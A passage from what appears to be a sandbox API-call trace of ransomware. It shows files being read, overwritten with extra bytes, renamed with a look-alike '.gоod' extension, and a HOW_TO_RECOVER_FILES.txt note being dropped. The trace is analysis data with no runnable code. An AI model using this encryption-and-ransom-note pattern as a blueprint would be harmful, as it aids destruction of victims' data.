[0112.028] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0112.028] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0112.029] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0112.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0112.029] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0112.029] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x34fb068 | out: lpFileInformation=0x34fb068*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5)) returned 1 [0112.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0112.029] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.029] GetFileType (hFile=0x7dc) returned 0x1 [0112.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.030] GetFileType (hFile=0x7dc) returned 0x1 [0112.030] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0112.030] ReadFile (in: hFile=0x7dc, lpBuffer=0x34fb3e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x34fb3e0*, lpNumberOfBytesRead=0x1f6edcc8*=0x8a5, lpOverlapped=0x0) returned 1 [0112.663] CloseHandle (hObject=0x7dc) returned 1 [0112.663] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.664] GetFileType (hFile=0x7dc) returned 0x1 [0112.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.664] GetFileType (hFile=0x7dc) returned 0x1 [0112.664] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x18a5 [0112.664] WriteFile (in: hFile=0x7dc, lpBuffer=0x3445c70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3445c70*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0112.664] CloseHandle (hObject=0x7dc) returned 1 [0112.664] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.664] GetFileType (hFile=0x7dc) returned 0x1 [0112.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.665] GetFileType (hFile=0x7dc) returned 0x1 [0112.665] ReadFile (in: hFile=0x7dc, lpBuffer=0x3447ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3447ee0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0112.691] CloseHandle (hObject=0x7dc) returned 1 [0112.692] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.692] GetFileType (hFile=0x7dc) returned 0x1 [0112.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.692] GetFileType (hFile=0x7dc) returned 0x1 [0112.692] WriteFile (in: hFile=0x7dc, lpBuffer=0x3446c88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3446c88*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0112.692] CloseHandle (hObject=0x7dc) returned 1 [0112.692] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.692] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0112.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0112.692] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3f612a77, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18b5)) returned 1 [0112.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0112.692] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.gоod")) returned 1 [0112.695] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0112.695] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x34c41d8 | out: lpFileInformation=0x34c41d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1 [0112.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0112.695] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.695] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.695] GetFileType (hFile=0x7dc) returned 0x1 [0112.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.695] GetFileType (hFile=0x7dc) returned 0x1 [0112.695] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0112.695] ReadFile (in: hFile=0x7dc, lpBuffer=0x34c45a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x34c45a0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0112.919] CloseHandle (hObject=0x7dc) returned 1 [0112.951] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.952] GetFileType (hFile=0x6e0) returned 0x1 [0112.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.952] GetFileType (hFile=0x6e0) returned 0x1 [0112.952] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0xed90 [0112.952] WriteFile (in: hFile=0x6e0, lpBuffer=0x34dd490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x34dd490*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0112.953] CloseHandle (hObject=0x6e0) returned 1 [0112.953] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.953] GetFileType (hFile=0x6e0) returned 0x1 [0112.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.953] GetFileType (hFile=0x6e0) returned 0x1 [0112.953] ReadFile (in: hFile=0x6e0, lpBuffer=0x34df758, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x34df758*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0112.981] CloseHandle (hObject=0x6e0) returned 1 [0112.981] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.982] GetFileType (hFile=0x6e0) returned 0x1 [0112.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.982] GetFileType (hFile=0x6e0) returned 0x1 [0112.982] WriteFile (in: hFile=0x6e0, lpBuffer=0x34de4d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x34de4d8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0112.982] CloseHandle (hObject=0x6e0) returned 1 [0112.982] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.982] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0112.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0112.982] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3f8e76b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeda0)) returned 1 [0112.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0112.982] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.gоod")) returned 1 [0112.983] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0112.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0112.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0112.983] GetFileType (hFile=0x6e0) returned 0x1 [0112.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0112.983] GetFileType (hFile=0x6e0) returned 0x1 [0112.984] WriteFile (in: hFile=0x6e0, lpBuffer=0x355ee90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x355ee90*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0112.985] CloseHandle (hObject=0x6e0) returned 1 [0112.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0112.985] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082", lpFilePart=0x0) returned 0x1a [0112.985] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0112.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0112.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0112.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.986] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0112.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0112.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0112.986] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082", lpFilePart=0x0) returned 0x1a [0112.986] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.987] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.987] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0112.987] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0112.987] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0112.987] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0112.987] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0112.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0112.988] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", nBufferLength=0x105, 